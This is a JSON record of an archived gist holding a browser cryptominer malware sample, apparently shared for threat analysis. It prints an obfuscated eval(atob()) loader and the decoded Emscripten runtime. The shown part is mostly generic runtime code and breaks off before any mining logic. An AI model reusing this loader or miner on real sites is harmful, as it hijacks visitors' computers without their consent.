{
	"id": "947c12ff-9135-4622-af9b-cc8f9826b560",
	"created_at": "2026-04-06T00:20:54.662177Z",
	"updated_at": "2026-04-10T03:20:56.775857Z",
	"deleted_at": null,
	"sha1_hash": "02d3f858ed056516c4c5c24bb6f10efb92472413",
	"title": "Cryptonight currency miner WASM",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 427609,
	"plain_text": "Cryptonight currency miner WASM\r\nBy 262588213843476\r\nArchived: 2026-04-05 21:49:16 UTC\r\n## Uploaded by @JohnLaTwC ## Sample hash:\r\nbd0984491d0c6b11162ddcec58bd660f0e779c8b399f153d160bb02fa72aadbc var\r\na='dmFyIE1vZHVsZT17bG9jYXRlRmlsZTooZnVuY3Rpb24ocGF0aCl7cmV0dXJuIHBhdGh9KX07dmFyIE1vZHVsZTtpZighTW9kdWxlKU1vZHVsZ\r\neval(atob(a)); ## decodes to: var Module = { locateFile: (function(path) { return path }) }; var Module; if (!Module) Module\r\n= (typeof Module !== \"undefined\" ? Module : null) || {}; var moduleOverrides = {}; for (var key in Module) { if\r\n(Module.hasOwnProperty(key)) { moduleOverrides[key] = Module[key] } } var ENVIRONMENT_IS_WEB = !1; var\r\nENVIRONMENT_IS_WORKER = !1; var ENVIRONMENT_IS_NODE = !1; var ENVIRONMENT_IS_SHELL = !1; if\r\n(Module.ENVIRONMENT) { if (Module.ENVIRONMENT === \"WEB\") { ENVIRONMENT_IS_WEB = !0 } else if\r\n(Module.ENVIRONMENT === \"WORKER\") { ENVIRONMENT_IS_WORKER = !0 } else if (Module.ENVIRONMENT\r\n=== \"NODE\") { ENVIRONMENT_IS_NODE = !0 } else if (Module.ENVIRONMENT === \"SHELL\") {\r\nENVIRONMENT_IS_SHELL = !0 } else { throw new Error(\"The provided Module[\\'ENVIRONMENT\\'] value is not\r\nvalid. It must be one of: WEB|WORKER|NODE|SHELL.\") } } else { ENVIRONMENT_IS_WEB = typeof window ===\r\n\"object\"; ENVIRONMENT_IS_WORKER = typeof importScripts === \"function\"; ENVIRONMENT_IS_NODE = typeof\r\nprocess === \"object\" \u0026\u0026 typeof require === \"function\" \u0026\u0026 !ENVIRONMENT_IS_WEB \u0026\u0026\r\n!ENVIRONMENT_IS_WORKER; ENVIRONMENT_IS_SHELL = !ENVIRONMENT_IS_WEB \u0026\u0026\r\n!ENVIRONMENT_IS_NODE \u0026\u0026 !ENVIRONMENT_IS_WORKER } if (ENVIRONMENT_IS_NODE) { if\r\n(!Module.print) Module.print = console.log; if (!Module.printErr) Module.printErr = console.warn; var nodeFS; var\r\nnodePath; Module.read = function shell_read(filename, binary) { if (!nodeFS) nodeFS = require(\"fs\"); if (!nodePath)\r\nnodePath = require(\"path\"); filename = nodePath.normalize(filename); var ret = nodeFS.readFileSync(filename); return\r\nbinary ? ret : ret.toString() }; Module.readBinary = function readBinary(filename) { var ret = Module.read(filename, !0); if\r\n(!ret.buffer) { ret = new Uint8Array(ret) } assert(ret.buffer); return ret }; Module.load = function load(f) {\r\nglobalEval(read(f)) }; if (!Module.thisProgram) { if (process.argv.length \u003e 1) { Module.thisProgram =\r\nprocess.argv[1].replace(/\\\\\\\\/g, \"/\") } else { Module.thisProgram = \"unknown-program\" } } Module[\"arguments\"] =\r\nprocess.argv.slice(2); if (typeof module !== \"undefined\") { module.exports = Module } process.on(\"uncaughtException\",\r\n(function(ex) { if (!(ex instanceof ExitStatus)) { throw ex } })); Module.inspect = (function() { return \"[Emscripten Module\r\nobject]\" }) } else if (ENVIRONMENT_IS_SHELL) { if (!Module.print) Module.print = print; if (typeof printErr !=\r\n\"undefined\") Module.printErr = printErr; if (typeof read != \"undefined\") { Module.read = read } else { Module.read =\r\nfunction shell_read() { throw \"no read() available\" } } Module.readBinary = function readBinary(f) { if (typeof readbuffer\r\n=== \"function\") { return new Uint8Array(readbuffer(f)) } var data = read(f, \"binary\"); assert(typeof data === \"object\");\r\nreturn data }; if (typeof scriptArgs != \"undefined\") { Module[\"arguments\"] = scriptArgs } else if (typeof arguments !=\r\n\"undefined\") { Module[\"arguments\"] = arguments } if (typeof quit === \"function\") { Module.quit = (function(status,\r\ntoThrow) { quit(status) }) } } else if (ENVIRONMENT_IS_WEB || ENVIRONMENT_IS_WORKER) { Module.read =\r\nfunction shell_read(url) { var xhr = new XMLHttpRequest; xhr.open(\"GET\", url, !1); xhr.send(null); return xhr.responseText\r\n}; if (ENVIRONMENT_IS_WORKER) { Module.readBinary = function readBinary(url) {} } Module.readAsync = function\r\nreadAsync(url, onload, onerror) { console.log(\"reading async now?\"); return; var xhr = new XMLHttpRequest;\r\nxhr.open(\"GET\", url, !0); xhr.responseType = \"arraybuffer\"; xhr.onload = function xhr_onload() { if (xhr.status == 200 ||\r\nxhr.status == 0 \u0026\u0026 xhr.response) { onload(xhr.response) } else { onerror() } }; xhr.onerror = onerror; xhr.send(null) }; if\r\n(typeof arguments != \"undefined\") { Module[\"arguments\"] = arguments } if (typeof console !== \"undefined\") { if\r\n(!Module.print) Module.print = function shell_print(x) { console.log(x) }; if (!Module.printErr) Module.printErr = function\r\nshell_printErr(x) { console.warn(x) } } else { var TRY_USE_DUMP = !1; if (!Module.print) Module.print =\r\nTRY_USE_DUMP \u0026\u0026 typeof dump !== \"undefined\" ? (function(x) { dump(x) }) : (function(x) {}) } if\r\n(ENVIRONMENT_IS_WORKER) { Module.load = importScripts } if (typeof Module.setWindowTitle === \"undefined\") {\r\nModule.setWindowTitle = (function(title) { document.title = title }) } } else { throw \"Unknown runtime environment.\r\nWhere are we?\" } function globalEval(x) { eval.call(null, x) } if (!Module.load \u0026\u0026 Module.read) { Module.load = function\r\nload(f) { globalEval(Module.read(f)) } } if (!Module.print) { Module.print = (function() {}) } if (!Module.printErr) {\r\nModule.printErr = Module.print } if (!Module[\"arguments\"]) { Module[\"arguments\"] = [] } if (!Module.thisProgram) {\r\nModule.thisProgram = \"./this.program\" } if (!Module.quit) { Module.quit = (function(status, toThrow) { throw toThrow }) }\r\nModule.print = Module.print; Module.printErr = Module.printErr; Module.preRun = []; Module.postRun = []; for (var key\r\nin moduleOverrides) { if (moduleOverrides.hasOwnProperty(key)) { Module[key] = moduleOverrides[key] } }\r\nmoduleOverrides = undefined; var Runtime = { setTempRet0: (function(value) { tempRet0 = value; return value }),\r\ngetTempRet0: (function() { return tempRet0 }), stackSave: (function() { return STACKTOP }), stackRestore:\r\n(function(stackTop) { STACKTOP = stackTop }), getNativeTypeSize: (function(type) { switch (type) { case \"i1\": case \"i8\":\r\nreturn 1; case \"i16\": return 2; case \"i32\": return 4; case \"i64\": return 8; case \"float\": return 4; case \"double\": return 8;\r\ndefault: { if (type[type.length - 1] === \"*\") { return Runtime.QUANTUM_SIZE } else if (type[0] === \"i\") { var bits =\r\nparseInt(type.substr(1)); assert(bits % 8 === 0); return bits / 8 } else { return 0 } } } }), getNativeFieldSize: (function(type)\r\n{ return Math.max(Runtime.getNativeTypeSize(type), Runtime.QUANTUM_SIZE) }), STACK_ALIGN: 16, prepVararg:\r\n(function(ptr, type) { if (type === \"double\" || type === \"i64\") { if (ptr \u0026 7) { assert((ptr \u0026 7) === 4); ptr += 4 } } else {\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 1 of 20\n\nassert((ptr \u0026 3) === 0) } return ptr }), getAlignSize: (function(type, size, vararg) { if (!vararg \u0026\u0026 (type == \"i64\" || type ==\r\n\"double\")) return 8; if (!type) return Math.min(size, 8); return Math.min(size || (type ? Runtime.getNativeFieldSize(type) :\r\n0), Runtime.QUANTUM_SIZE) }), dynCall: (function(sig, ptr, args) { if (args \u0026\u0026 args.length) { return Module[\"dynCall_\"\r\n+ sig].apply(null, [ptr].concat(args)) } else { return Module[\"dynCall_\" + sig].call(null, ptr) } }), functionPointers: [],\r\naddFunction: (function(func) { for (var i = 0; i \u003c Runtime.functionPointers.length; i++) { if (!Runtime.functionPointers[i]) {\r\nRuntime.functionPointers[i] = func; return 2 * (1 + i) } } throw \"Finished up all reserved function pointers. Use a higher\r\nvalue for RESERVED_FUNCTION_POINTERS.\" }), removeFunction: (function(index) { Runtime.functionPointers[(index\r\n- 2) / 2] = null }), warnOnce: (function(text) { if (!Runtime.warnOnce.shown) Runtime.warnOnce.shown = {}; if\r\n(!Runtime.warnOnce.shown[text]) { Runtime.warnOnce.shown[text] = 1; Module.printErr(text) } }), funcWrappers: {},\r\ngetFuncWrapper: (function(func, sig) { assert(sig); if (!Runtime.funcWrappers[sig]) { Runtime.funcWrappers[sig] = {} }\r\nvar sigCache = Runtime.funcWrappers[sig]; if (!sigCache[func]) { if (sig.length === 1) { sigCache[func] = function\r\ndynCall_wrapper() { return Runtime.dynCall(sig, func) } } else if (sig.length === 2) { sigCache[func] = function\r\ndynCall_wrapper(arg) { return Runtime.dynCall(sig, func, [arg]) } } else { sigCache[func] = function dynCall_wrapper() {\r\nreturn Runtime.dynCall(sig, func, Array.prototype.slice.call(arguments)) } } } return sigCache[func] }), getCompilerSetting:\r\n(function(name) { throw \"You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or\r\nemscripten_get_compiler_setting to work\" }), stackAlloc: (function(size) { var ret = STACKTOP; STACKTOP =\r\nSTACKTOP + size | 0; STACKTOP = STACKTOP + 15 \u0026 -16; return ret }), staticAlloc: (function(size) { var ret =\r\nSTATICTOP; STATICTOP = STATICTOP + size | 0; STATICTOP = STATICTOP + 15 \u0026 -16; return ret }), dynamicAlloc:\r\n(function(size) { var ret = HEAP32[DYNAMICTOP_PTR \u003e\u003e 2]; var end = (ret + size + 15 | 0) \u0026 -16;\r\nHEAP32[DYNAMICTOP_PTR \u003e\u003e 2] = end; if (end \u003e= TOTAL_MEMORY) { var success = enlargeMemory(); if\r\n(!success) { HEAP32[DYNAMICTOP_PTR \u003e\u003e 2] = ret; return 0 } } return ret }), alignMemory: (function(size, quantum) {\r\nvar ret = size = Math.ceil(size / (quantum ? quantum : 16)) * (quantum ? quantum : 16); return ret }), makeBigInt:\r\n(function(low, high, unsigned) { var ret = unsigned ? +(low \u003e\u003e\u003e 0) + +(high \u003e\u003e\u003e 0) * 4294967296 : +(low \u003e\u003e\u003e 0) + +(high |\r\n0) * 4294967296; return ret }), GLOBAL_BASE: 1024, QUANTUM_SIZE: 4, __dummy__: 0 }; Module.Runtime =\r\nRuntime; var ABORT = 0; var EXITSTATUS = 0; function assert(condition, text) { if (!condition) { abort(\"Assertion failed:\r\n\" + text) } } function getCFunc(ident) { var func = Module[\"_\" + ident]; if (!func) { try { func = eval(\"_\" + ident) } catch (e)\r\n{} } assert(func, \"Cannot call unknown function \" + ident + \" (perhaps LLVM optimizations or closure removed it?)\");\r\nreturn func } var cwrap, ccall; ((function() { var JSfuncs = { \"stackSave\": (function() { Runtime.stackSave() }),\r\n\"stackRestore\": (function() { Runtime.stackRestore() }), \"arrayToC\": (function(arr) { var ret =\r\nRuntime.stackAlloc(arr.length); writeArrayToMemory(arr, ret); return ret }), \"stringToC\": (function(str) { var ret = 0; if (str\r\n!== null \u0026\u0026 str !== undefined \u0026\u0026 str !== 0) { var len = (str.length \u003c\u003c 2) + 1; ret = Runtime.stackAlloc(len);\r\nstringToUTF8(str, ret, len) } return ret }) }; var toC = { \"string\": JSfuncs.stringToC, \"array\": JSfuncs.arrayToC }; ccall =\r\nfunction ccallFunc(ident, returnType, argTypes, args, opts) { var func = getCFunc(ident); var cArgs = []; var stack = 0; if\r\n(args) { for (var i = 0; i \u003c args.length; i++) { var converter = toC[argTypes[i]]; if (converter) { if (stack === 0) stack =\r\nRuntime.stackSave(); cArgs[i] = converter(args[i]) } else { cArgs[i] = args[i] } } } var ret = func.apply(null, cArgs); if\r\n(returnType === \"string\") ret = Pointer_stringify(ret); if (stack !== 0) { if (opts \u0026\u0026 opts.async) {\r\nEmterpreterAsync.asyncFinalizers.push((function() { Runtime.stackRestore(stack) })); return } Runtime.stackRestore(stack)\r\n} return ret }; var sourceRegex = /^function\\\\s*[a-zA-Z$_0-9]*\\\\s*\\\\(([^)]*)\\\\)\\\\s*{\\\\s*([^*]*?)[\\\\s;]*(?:return\\\\s*(.*?)\r\n[;\\\\s]*)?}$/; function parseJSFunc(jsfunc) { var parsed = jsfunc.toString().match(sourceRegex).slice(1); return { arguments:\r\nparsed[0], body: parsed[1], returnValue: parsed[2] } } var JSsource = null; function ensureJSsource() { if (!JSsource) {\r\nJSsource = {}; for (var fun in JSfuncs) { if (JSfuncs.hasOwnProperty(fun)) { JSsource[fun] = parseJSFunc(JSfuncs[fun]) } }\r\n} } cwrap = function cwrap(ident, returnType, argTypes) { argTypes = argTypes || []; var cfunc = getCFunc(ident); var\r\nnumericArgs = argTypes.every((function(type) { return type === \"number\" })); var numericRet = returnType !== \"string\"; if\r\n(numericRet \u0026\u0026 numericArgs) { return cfunc } var argNames = argTypes.map((function(x, i) { return \"$\" + i })); var\r\nfuncstr = \"(function(\" + argNames.join(\",\") + \") {\"; var nargs = argTypes.length; if (!numericArgs) { ensureJSsource();\r\nfuncstr += \"var stack = \" + JSsource.stackSave.body + \";\"; for (var i = 0; i \u003c nargs; i++) { var arg = argNames[i], type =\r\nargTypes[i]; if (type === \"number\") continue; var convertCode = JSsource[type + \"ToC\"]; funcstr += \"var \" +\r\nconvertCode.arguments + \" = \" + arg + \";\"; funcstr += convertCode.body + \";\"; funcstr += arg + \"=(\" +\r\nconvertCode.returnValue + \");\" } } var cfuncname = parseJSFunc((function() { return cfunc })).returnValue; funcstr += \"var\r\nret = \" + cfuncname + \"(\" + argNames.join(\",\") + \");\"; if (!numericRet) { var strgfy = parseJSFunc((function() { return\r\nPointer_stringify })).returnValue; funcstr += \"ret = \" + strgfy + \"(ret);\" } if (!numericArgs) { ensureJSsource(); funcstr +=\r\nJSsource.stackRestore.body.replace(\"()\", \"(stack)\") + \";\" } funcstr += \"return ret})\"; return eval(funcstr) } }))();\r\nModule.ccall = ccall; Module.cwrap = cwrap; function setValue(ptr, value, type, noSafe) { type = type || \"i8\"; if\r\n(type.charAt(type.length - 1) === \"*\") type = \"i32\"; switch (type) { case \"i1\": HEAP8[ptr \u003e\u003e 0] = value; break; case \"i8\":\r\nHEAP8[ptr \u003e\u003e 0] = value; break; case \"i16\": HEAP16[ptr \u003e\u003e 1] = value; break; case \"i32\": HEAP32[ptr \u003e\u003e 2] = value;\r\nbreak; case \"i64\": tempI64 = [value \u003e\u003e\u003e 0, (tempDouble = value, +Math_abs(tempDouble) \u003e= 1 ? tempDouble \u003e 0 ?\r\n(Math_min(+Math_floor(tempDouble / 4294967296), 4294967295) | 0) \u003e\u003e\u003e 0 : ~~+Math_ceil((tempDouble - +\r\n(~~tempDouble \u003e\u003e\u003e 0)) / 4294967296) \u003e\u003e\u003e 0 : 0)], HEAP32[ptr \u003e\u003e 2] = tempI64[0], HEAP32[ptr + 4 \u003e\u003e 2] = tempI64[1];\r\nbreak; case \"float\": HEAPF32[ptr \u003e\u003e 2] = value; break; case \"double\": HEAPF64[ptr \u003e\u003e 3] = value; break; default:\r\nabort(\"invalid type for setValue: \" + type) } } Module.setValue = setValue; function getValue(ptr, type, noSafe) { type = type\r\n|| \"i8\"; if (type.charAt(type.length - 1) === \"*\") type = \"i32\"; switch (type) { case \"i1\": return HEAP8[ptr \u003e\u003e 0]; case \"i8\":\r\nreturn HEAP8[ptr \u003e\u003e 0]; case \"i16\": return HEAP16[ptr \u003e\u003e 1]; case \"i32\": return HEAP32[ptr \u003e\u003e 2]; case \"i64\": return\r\nHEAP32[ptr \u003e\u003e 2]; case \"float\": return HEAPF32[ptr \u003e\u003e 2]; case \"double\": return HEAPF64[ptr \u003e\u003e 3]; default:\r\nabort(\"invalid type for setValue: \" + type) } return null } Module.getValue = getValue; var ALLOC_NORMAL = 0; var\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 2 of 20\n\nALLOC_STACK = 1; var ALLOC_STATIC = 2; var ALLOC_DYNAMIC = 3; var ALLOC_NONE = 4;\r\nModule.ALLOC_NORMAL = ALLOC_NORMAL; Module.ALLOC_STACK = ALLOC_STACK;\r\nModule.ALLOC_STATIC = ALLOC_STATIC; Module.ALLOC_DYNAMIC = ALLOC_DYNAMIC;\r\nModule.ALLOC_NONE = ALLOC_NONE; function allocate(slab, types, allocator, ptr) { var zeroinit, size; if (typeof slab\r\n=== \"number\") { zeroinit = !0; size = slab } else { zeroinit = !1; size = slab.length } var singleType = typeof types ===\r\n\"string\" ? types : null; var ret; if (allocator == ALLOC_NONE) { ret = ptr } else { ret = [typeof _malloc === \"function\" ?\r\n_malloc : Runtime.staticAlloc, Runtime.stackAlloc, Runtime.staticAlloc, Runtime.dynamicAlloc][allocator === undefined ?\r\nALLOC_STATIC : allocator](Math.max(size, singleType ? 1 : types.length)) } if (zeroinit) { var ptr = ret, stop; assert((ret \u0026\r\n3) == 0); stop = ret + (size \u0026 ~3); for (; ptr \u003c stop; ptr += 4) { HEAP32[ptr \u003e\u003e 2] = 0 } stop = ret + size; while (ptr \u003c stop) {\r\nHEAP8[ptr++ \u003e\u003e 0] = 0 } return ret } if (singleType === \"i8\") { if (slab.subarray || slab.slice) { HEAPU8.set(slab, ret) }\r\nelse { HEAPU8.set(new Uint8Array(slab), ret) } return ret } var i = 0, type, typeSize, previousType; while (i \u003c size) { var\r\ncurr = slab[i]; if (typeof curr === \"function\") { curr = Runtime.getFunctionIndex(curr) } type = singleType || types[i]; if\r\n(type === 0) { i++; continue } if (type == \"i64\") type = \"i32\"; setValue(ret + i, curr, type); if (previousType !== type) {\r\ntypeSize = Runtime.getNativeTypeSize(type); previousType = type } i += typeSize } return ret } Module.allocate = allocate;\r\nfunction getMemory(size) { if (!staticSealed) return Runtime.staticAlloc(size); if (!runtimeInitialized) return\r\nRuntime.dynamicAlloc(size); return _malloc(size) } Module.getMemory = getMemory; function Pointer_stringify(ptr,\r\nlength) { if (length === 0 || !ptr) return \"\"; var hasUtf = 0; var t; var i = 0; while (1) { t = HEAPU8[ptr + i \u003e\u003e 0]; hasUtf |= t;\r\nif (t == 0 \u0026\u0026 !length) break; i++; if (length \u0026\u0026 i == length) break } if (!length) length = i; var ret = \"\"; if (hasUtf \u003c 128) {\r\nvar MAX_CHUNK = 1024; var curr; while (length \u003e 0) { curr = String.fromCharCode.apply(String, HEAPU8.subarray(ptr,\r\nptr + Math.min(length, MAX_CHUNK))); ret = ret ? ret + curr : curr; ptr += MAX_CHUNK; length -= MAX_CHUNK }\r\nreturn ret } return Module.UTF8ToString(ptr) } Module.Pointer_stringify = Pointer_stringify; function AsciiToString(ptr) {\r\nvar str = \"\"; while (1) { var ch = HEAP8[ptr++ \u003e\u003e 0]; if (!ch) return str; str += String.fromCharCode(ch) } }\r\nModule.AsciiToString = AsciiToString; function stringToAscii(str, outPtr) { return writeAsciiToMemory(str, outPtr, !1) }\r\nModule.stringToAscii = stringToAscii; var UTF8Decoder = typeof TextDecoder !== \"undefined\" ? new TextDecoder(\"utf8\")\r\n: undefined; function UTF8ArrayToString(u8Array, idx) { var endPtr = idx; while (u8Array[endPtr]) ++endPtr; if (endPtr -\r\nidx \u003e 16 \u0026\u0026 u8Array.subarray \u0026\u0026 UTF8Decoder) { return UTF8Decoder.decode(u8Array.subarray(idx, endPtr)) } else {\r\nvar u0, u1, u2, u3, u4, u5; var str = \"\"; while (1) { u0 = u8Array[idx++]; if (!u0) return str; if (!(u0 \u0026 128)) { str +=\r\nString.fromCharCode(u0); continue } u1 = u8Array[idx++] \u0026 63; if ((u0 \u0026 224) == 192) { str += String.fromCharCode((u0\r\n\u0026 31) \u003c\u003c 6 | u1); continue } u2 = u8Array[idx++] \u0026 63; if ((u0 \u0026 240) == 224) { u0 = (u0 \u0026 15) \u003c\u003c 12 | u1 \u003c\u003c 6 | u2 } else\r\n{ u3 = u8Array[idx++] \u0026 63; if ((u0 \u0026 248) == 240) { u0 = (u0 \u0026 7) \u003c\u003c 18 | u1 \u003c\u003c 12 | u2 \u003c\u003c 6 | u3 } else { u4 =\r\nu8Array[idx++] \u0026 63; if ((u0 \u0026 252) == 248) { u0 = (u0 \u0026 3) \u003c\u003c 24 | u1 \u003c\u003c 18 | u2 \u003c\u003c 12 | u3 \u003c\u003c 6 | u4 } else { u5 =\r\nu8Array[idx++] \u0026 63; u0 = (u0 \u0026 1) \u003c\u003c 30 | u1 \u003c\u003c 24 | u2 \u003c\u003c 18 | u3 \u003c\u003c 12 | u4 \u003c\u003c 6 | u5 } } } if (u0 \u003c 65536) { str +=\r\nString.fromCharCode(u0) } else { var ch = u0 - 65536; str += String.fromCharCode(55296 | ch \u003e\u003e 10, 56320 | ch \u0026 1023) }\r\n} } } Module.UTF8ArrayToString = UTF8ArrayToString; function UTF8ToString(ptr) { return\r\nUTF8ArrayToString(HEAPU8, ptr) } Module.UTF8ToString = UTF8ToString; function stringToUTF8Array(str,\r\noutU8Array, outIdx, maxBytesToWrite) { if (!(maxBytesToWrite \u003e 0)) return 0; var startIdx = outIdx; var endIdx = outIdx +\r\nmaxBytesToWrite - 1; for (var i = 0; i \u003c str.length; ++i) { var u = str.charCodeAt(i); if (u \u003e= 55296 \u0026\u0026 u \u003c= 57343) u =\r\n65536 + ((u \u0026 1023) \u003c\u003c 10) | str.charCodeAt(++i) \u0026 1023; if (u \u003c= 127) { if (outIdx \u003e= endIdx) break;\r\noutU8Array[outIdx++] = u } else if (u \u003c= 2047) { if (outIdx + 1 \u003e= endIdx) break; outU8Array[outIdx++] = 192 | u \u003e\u003e 6;\r\noutU8Array[outIdx++] = 128 | u \u0026 63 } else if (u \u003c= 65535) { if (outIdx + 2 \u003e= endIdx) break; outU8Array[outIdx++] =\r\n224 | u \u003e\u003e 12; outU8Array[outIdx++] = 128 | u \u003e\u003e 6 \u0026 63; outU8Array[outIdx++] = 128 | u \u0026 63 } else if (u \u003c= 2097151) {\r\nif (outIdx + 3 \u003e= endIdx) break; outU8Array[outIdx++] = 240 | u \u003e\u003e 18; outU8Array[outIdx++] = 128 | u \u003e\u003e 12 \u0026 63;\r\noutU8Array[outIdx++] = 128 | u \u003e\u003e 6 \u0026 63; outU8Array[outIdx++] = 128 | u \u0026 63 } else if (u \u003c= 67108863) { if (outIdx +\r\n4 \u003e= endIdx) break; outU8Array[outIdx++] = 248 | u \u003e\u003e 24; outU8Array[outIdx++] = 128 | u \u003e\u003e 18 \u0026 63;\r\noutU8Array[outIdx++] = 128 | u \u003e\u003e 12 \u0026 63; outU8Array[outIdx++] = 128 | u \u003e\u003e 6 \u0026 63; outU8Array[outIdx++] = 128 | u\r\n\u0026 63 } else { if (outIdx + 5 \u003e= endIdx) break; outU8Array[outIdx++] = 252 | u \u003e\u003e 30; outU8Array[outIdx++] = 128 | u \u003e\u003e\r\n24 \u0026 63; outU8Array[outIdx++] = 128 | u \u003e\u003e 18 \u0026 63; outU8Array[outIdx++] = 128 | u \u003e\u003e 12 \u0026 63; outU8Array[outIdx++]\r\n= 128 | u \u003e\u003e 6 \u0026 63; outU8Array[outIdx++] = 128 | u \u0026 63 } } outU8Array[outIdx] = 0; return outIdx - startIdx }\r\nModule.stringToUTF8Array = stringToUTF8Array; function stringToUTF8(str, outPtr, maxBytesToWrite) { return\r\nstringToUTF8Array(str, HEAPU8, outPtr, maxBytesToWrite) } Module.stringToUTF8 = stringToUTF8; function\r\nlengthBytesUTF8(str) { var len = 0; for (var i = 0; i \u003c str.length; ++i) { var u = str.charCodeAt(i); if (u \u003e= 55296 \u0026\u0026 u \u003c=\r\n57343) u = 65536 + ((u \u0026 1023) \u003c\u003c 10) | str.charCodeAt(++i) \u0026 1023; if (u \u003c= 127) { ++len } else if (u \u003c= 2047) { len += 2\r\n} else if (u \u003c= 65535) { len += 3 } else if (u \u003c= 2097151) { len += 4 } else if (u \u003c= 67108863) { len += 5 } else { len += 6 }\r\n} return len } Module.lengthBytesUTF8 = lengthBytesUTF8; var UTF16Decoder = typeof TextDecoder !== \"undefined\" ?\r\nnew TextDecoder(\"utf-16le\") : undefined; function demangle(func) { var __cxa_demangle_func =\r\nModule.___cxa_demangle || Module.__cxa_demangle; if (__cxa_demangle_func) { try { var s = func.substr(1); var len =\r\nlengthBytesUTF8(s) + 1; var buf = _malloc(len); stringToUTF8(s, buf, len); var status = _malloc(4); var ret =\r\n__cxa_demangle_func(buf, 0, 0, status); if (getValue(status, \"i32\") === 0 \u0026\u0026 ret) { return Pointer_stringify(ret) } } catch\r\n(e) {} finally { if (buf) _free(buf); if (status) _free(status); if (ret) _free(ret) } return func } Runtime.warnOnce(\"warning:\r\nbuild with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling\"); return func } function demangleAll(text) { var\r\nregex = /__Z[\\\\w\\\\d_]+/g; return text.replace(regex, (function(x) { var y = demangle(x); return x === y ? x : x + \" [\" + y +\r\n\"]\" })) } function jsStackTrace() { var err = new Error; if (!err.stack) { try { throw new Error(0) } catch (e) { err = e } if\r\n(!err.stack) { return \"(no stack trace available)\" } } return err.stack.toString() } function stackTrace() { var js =\r\njsStackTrace(); if (Module.extraStackTrace) js += \"\\\\n\" + Module.extraStackTrace(); return demangleAll(js) }\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 3 of 20\n\nModule.stackTrace = stackTrace; var WASM_PAGE_SIZE = 65536; var ASMJS_PAGE_SIZE = 16777216; function\r\nalignUp(x, multiple) { if (x % multiple \u003e 0) { x += multiple - x % multiple } return x } var HEAP, buffer, HEAP8,\r\nHEAPU8, HEAP16, HEAPU16, HEAP32, HEAPU32, HEAPF32, HEAPF64; function updateGlobalBuffer(buf) {\r\nModule.buffer = buffer = buf } function updateGlobalBufferViews() { Module.HEAP8 = HEAP8 = new Int8Array(buffer);\r\nModule.HEAP16 = HEAP16 = new Int16Array(buffer); Module.HEAP32 = HEAP32 = new Int32Array(buffer);\r\nModule.HEAPU8 = HEAPU8 = new Uint8Array(buffer); Module.HEAPU16 = HEAPU16 = new Uint16Array(buffer);\r\nModule.HEAPU32 = HEAPU32 = new Uint32Array(buffer); Module.HEAPF32 = HEAPF32 = new Float32Array(buffer);\r\nModule.HEAPF64 = HEAPF64 = new Float64Array(buffer) } var STATIC_BASE, STATICTOP, staticSealed; var\r\nSTACK_BASE, STACKTOP, STACK_MAX; var DYNAMIC_BASE, DYNAMICTOP_PTR; STATIC_BASE =\r\nSTATICTOP = STACK_BASE = STACKTOP = STACK_MAX = DYNAMIC_BASE = DYNAMICTOP_PTR = 0;\r\nstaticSealed = !1; function abortOnCannotGrowMemory() { abort(\"Cannot enlarge memory arrays. Either (1) compile with -\r\ns TOTAL_MEMORY=X with X higher than the current value \" + TOTAL_MEMORY + \", (2) compile with -s\r\nALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL\r\n(0) instead of this abort, compile with -s ABORTING_MALLOC=0 \") } function enlargeMemory() {\r\nabortOnCannotGrowMemory() } var TOTAL_STACK = Module.TOTAL_STACK || 5242880; var TOTAL_MEMORY =\r\nModule.TOTAL_MEMORY || 16777216; if (TOTAL_MEMORY \u003c TOTAL_STACK)\r\nModule.printErr(\"TOTAL_MEMORY should be larger than TOTAL_STACK, was \" + TOTAL_MEMORY + \"!\r\n(TOTAL_STACK=\" + TOTAL_STACK + \")\"); if (Module.buffer) { buffer = Module.buffer } else { if (typeof\r\nWebAssembly === \"object\" \u0026\u0026 typeof WebAssembly.Memory === \"function\") { Module.wasmMemory = new\r\nWebAssembly.Memory({ \"initial\": TOTAL_MEMORY / WASM_PAGE_SIZE, \"maximum\": TOTAL_MEMORY /\r\nWASM_PAGE_SIZE }); buffer = Module.wasmMemory.buffer } else { buffer = new ArrayBuffer(TOTAL_MEMORY) } }\r\nupdateGlobalBufferViews(); function getTotalMemory() { return TOTAL_MEMORY } HEAP32[0] = 1668509029;\r\nHEAP16[1] = 25459; if (HEAPU8[2] !== 115 || HEAPU8[3] !== 99) throw \"Runtime error: expected the system to be little-endian!\"; Module.HEAP = HEAP; Module.buffer = buffer; Module.HEAP8 = HEAP8; Module.HEAP16 = HEAP16;\r\nModule.HEAP32 = HEAP32; Module.HEAPU8 = HEAPU8; Module.HEAPU16 = HEAPU16; Module.HEAPU32 =\r\nHEAPU32; Module.HEAPF32 = HEAPF32; Module.HEAPF64 = HEAPF64; function callRuntimeCallbacks(callbacks) {\r\nwhile (callbacks.length \u003e 0) { var callback = callbacks.shift(); if (typeof callback == \"function\") { callback(); continue } var\r\nfunc = callback.func; if (typeof func === \"number\") { if (callback.arg === undefined) { Module.dynCall_v(func) } else {\r\nModule.dynCall_vi(func, callback.arg) } } else { func(callback.arg === undefined ? null : callback.arg) } } } var\r\n__ATPRERUN__ = []; var __ATINIT__ = []; var __ATMAIN__ = []; var __ATEXIT__ = []; var __ATPOSTRUN__ = [];\r\nvar runtimeInitialized = !1; var runtimeExited = !1; function preRun() { if (Module.preRun) { if (typeof Module.preRun ==\r\n\"function\") Module.preRun = [Module.preRun]; while (Module.preRun.length) { addOnPreRun(Module.preRun.shift()) } }\r\ncallRuntimeCallbacks(__ATPRERUN__) } function ensureInitRuntime() { if (runtimeInitialized) return; runtimeInitialized\r\n= !0; callRuntimeCallbacks(__ATINIT__) } function preMain() { callRuntimeCallbacks(__ATMAIN__) } function\r\nexitRuntime() { callRuntimeCallbacks(__ATEXIT__); runtimeExited = !0 } function postRun() { if (Module.postRun) { if\r\n(typeof Module.postRun == \"function\") Module.postRun = [Module.postRun]; while (Module.postRun.length) {\r\naddOnPostRun(Module.postRun.shift()) } } 